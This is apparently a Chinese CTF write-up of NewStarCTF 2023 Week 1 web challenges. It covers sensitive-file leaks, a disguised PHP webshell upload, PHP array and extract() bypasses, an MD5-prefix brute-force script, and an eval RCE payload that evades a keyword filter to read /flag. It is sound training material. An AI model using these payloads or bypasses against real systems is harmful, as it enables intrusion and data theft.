[NewStarCTF 2023 公开赛道]WEEK1–web方向复现记录

WEEK 1

泄漏的秘密

image-20250904210228542

扫目录扫出来的robots.txt访问打开是一部分的flag

image-20250904210305206

image-20250904210747038

同样扫出来的还有www.zip

image-20250904211133039

下载下来就是两个部分的flag

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

主要考的是信息搜集 主要就是

1.页面源代码

2.敏感文件泄露

①robots.txt

当我们在搜索引擎上打上内容点击搜索的时候,搜索引擎靠一个叫robot的程序去互联网中访问并获取网页信息。

robots.txt文件是存放在网站根目录下的文本文件,是robot访问网站时第一个要检查有无的文件,如果存在的话,那robots.txt文件会告诉robot我这个网站里的哪些页面是可以访问哪些是不能访问的。

做题时就可以先尝试一下/robots.txt看看有没有这个文件如果有的话,里面的那些disallow的文件就是我们重点访问的文件

②.phps文件

PHP是服务端语言,在前端页面用户是无法看到的,如果需要让用户查看php源码呢?就是这个xx.phps文件里面是xx页面的php源码。当然.phps文件不是哪个网站都有,做题的时候怎么说呢基本碰不到吧,一些入门题,题目描述到.phps文件,打开题目链接就直接/index.phps就可以了如果不是index.phps也可以用御剑扫一下

www.zip文件

网站的所有文件都在www文件中,可能是怕网站文件丢失,所以将www文件压缩成www.zip备份,这时候访问/www.zip(也可能不在根目录下)可能会有惊喜。www.zip/rar/tar.gz往往是网站的源码备份。

④vim缓存文件泄露

在使用vim编辑过程中如果异常退出编辑,比如不小心碰到了电源键。但是你编辑的东西不会丢失而是系统帮你生成一个.swp的缓存文件(格式为.文件名.swp)第二次意外退出时为.swo,第三次为.swn,所以根据题目描述就可以访问.xx.swp的文件(注意最前面多个.)。

恢复文件内容的方法,执行“vim 文件名”命令的目录下创建一个名字相同的文件夹“touch 文件名”“cat 文件名(此时为空)”再使用“vim -r 文件名”命令。然后”cat 文件名”就能看见被缓存的内容了

⑤mdb文件泄露

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了

文件路径:URL/db/db.mdb

Begin of Upload

上传jpg的一句话木马 然后抓包修改后缀为php 上传后yijian连接得到根目录下的flag

image-20250904213851275

Begin of PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

全部都是数组绕过

level1

1
2
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;

参考easymd5 用数组进行md5的绕过

image-20250905074951201

?key1[]=1&key2[]=2;

level2

image-20250905080342679

sha1函数和md5一样是不能处理数组

所以传入key3[]=1就可以实现绕过

level3

1
2
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;

strcmp 的作用是 按字典序比较两个字符串

strcmp(string $str1, string $str2): int
返回 0 → 两个字符串完全相同

返回 < 0 → $str1 在字典序中小于 $str2

返回 > 0 → $str1 在字典序中大于 $str2

strcmp依旧无法处理数组

null == 0 在 PHP 中是 **true **所以还是数组绕过

image-20250905082127336

level4

1
2
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;

!is_numeric($_GET['key5'])不是数字/数字字符串

$_GET['key5'] > 2023 → 同时还要能和数字比较,大于 2023

HP 在比较 数组 vs 整数 的时候,规则是这样的:

如果两个都是数组 → 比较数组内容。

如果其中一个是数组、另一个是整数/字符串 → 数组始终比非数组大

即:[] > 2023true

image-20250905082745624

level5

image-20250905083210694

1
2
3
4
5
6
7
8
9
10
11
12
13
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}

意味着 POST的值不能包含字母数字

但注意:正则只匹配值,不检查键

所以变量名 flag5,但值必须是特殊字符 比如! . 这种

得到flag

ErrorFlask

image-20250905103231543

image-20250905103459263

get传参试一下

image-20250905103829958

想试一下ssti的 没想到直接在报错信息里

Begin of HTTP

image-20250905110631161

都比较简单 只有后面的本地用户登录要增加一个X-Real-IP

image-20250905111142391

能不能用完全取决于目标应用写死了哪个头

R!C!E!

1
2
3
4
5
6
7
8
9
10
11
 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

if(substr($password,0,6)===”c4d038”)

输入的passwordmd5值前6位必须和c4d038是一样的

我们只能通过碰撞来尝试获取我们需要的 password

可以写一个简单的 python 脚本来进行碰撞,先尝试简单的数字组合,看是否有符合条件的值

1
2
3
4
5
6
7
8
9
import hashlib

def crack(pre):
for i in range(0, 999999):
if (hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6] == str(pre):
print(i)
break

crack("c4d038")

运行结果是114514,得到密码

然后后面的一个传参eval

$code=$_POST[‘e_v.a.l’];

来看php中的变量名规则

合法的变量名只能包含:字母、数字、下划线(不能以数字开头)。

其他符号(如 .-、空格等)在变量名里都是非法的。

PHP 对请求参数名的转换(PHP < 8.0)

在7点几版本中 如果有不合法的参数名 php会进行矫正:

.(点号)空格 会被转换为 _

[(左方括号) → _(下划线),同时会终止后续字符的再次转换

转换只进行一次

所以在这个题目中 如果直接传e_v.a.l会被变成e_v_a_l

但如果是e[v.a.l解析之后就是e_v.a.l

之后这个代码禁用了一些常见命令

1
password=114514&e[v.a.l=echo `tac /fla\g`;

可以用这个

用反引号执行 tac替换cat \绕过对flag的过滤

image-20250905174019567

看网上的师傅还有一种方法叫参数逃逸

1
&e[v.a.l=var_dump(file_get_contents($_POST['a']));&a=/flag

禁止了 system 函数,可以采用 php 自带的函数来达到一样的效果,先使用 scandir 看一下目录,注意 scandir 是不会回显输出的,记得加上 var_dump。

1
e[v.a.l=var_dump(scandir('/'));
1
POST:password=114514&e[v.a.l=var_dump(file_get_contents($_POST['a']));&a=/flag

一样能够得到flag

image-20250905174254365

EasyLogin

image-20250905183807849

注册admin账户发现账户已存在

抓包

image-20250905183921736

发现这个密码好像是被加密了

可得是md5加密

bp字典爆破出密码为000000

爆破的时候要注意字典也要md5加密一下

image-20250907094737856

image-20250905191122754

然后就以admin登陆了

image-20250907094550443

在这个页面抓包 可以看到http的历史请求里有一个302重定向页面 点开看响应就可以看到flag了

image-20250907094635642